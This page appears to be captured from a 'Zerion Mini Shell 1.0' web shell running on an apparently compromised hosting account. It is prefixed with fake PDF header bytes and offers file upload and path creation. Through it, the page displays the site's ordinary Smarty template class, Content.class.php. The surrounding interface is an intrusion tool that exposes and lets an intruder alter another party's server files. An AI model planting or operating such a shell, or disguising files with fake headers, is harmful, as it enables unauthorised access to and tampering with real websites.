%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/include/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/include/Content.class.php

<?php

class Content extends Smarty
{
    public function __construct()
    {
        $this->Smarty();

        $this->template_dir = Registry::get('dirroot').'/smarty/templates/';
        $this->compile_dir  = Registry::get('dirroot').'/smarty/templates_c/';
        $this->config_dir   = Registry::get('dirroot').'/smarty/configs/';
        $this->cache_dir    = Registry::get('dirroot').'/smarty/cache/';

        $this->me();
        $this->assign('wwwroot', Registry::get('wwwroot'));
        $this->assign('sitename', Registry::get('sitename'));
        $this->assign('pagename', Registry::get('pagename'));

        $this->register_modifier('datum', array('String', 'datum'));
        $this->register_modifier('url', array('String', 'url'));
		$this->register_modifier('ar', array('String', 'print_ar'));
		$this->register_modifier('fancyurl', array('String', 'fancyurl'));
        $this->register_modifier('thumb', array('Files', 'thumb'));

        if(Registry::get('lang')) {
            $this->assign('lang', Registry::get('lang'));
        }

        if(Registry::get('referer')) {
            $this->assign('referer', Registry::get('referer'));
        }

        if(Registry::get('site')) {
            $this->assign('site', Registry::get('site'));
        }

        if(Registry::get('phpthumb_zc')) {
            $this->assign('phpthumb_zc', Registry::get('phpthumb_zc'));
        }
    }

    function me()
    {
        if(isset($_SERVER["REQUEST_URI"])) {
            $me = $_SERVER["REQUEST_URI"];
        }
        elseif($_SERVER["PATH_INFO"]) {
            $me = $_SERVER["PATH_INFO"];
        }
        elseif($_SERVER["PHP_SELF"]) {
            $me = $_SERVER["PHP_SELF"];
        }

        if($commapos = strpos($me, '?')) {
            $this->me = substr($me, 0, $commapos);
        }
        else {
            $this->me = $me;
        }

        $this->me = end(explode('/', $this->me));
        $this->assign('me', $this->me);
        Registry::set('me', $this->me);
    }
}

?>

Zerion Mini Shell 1.0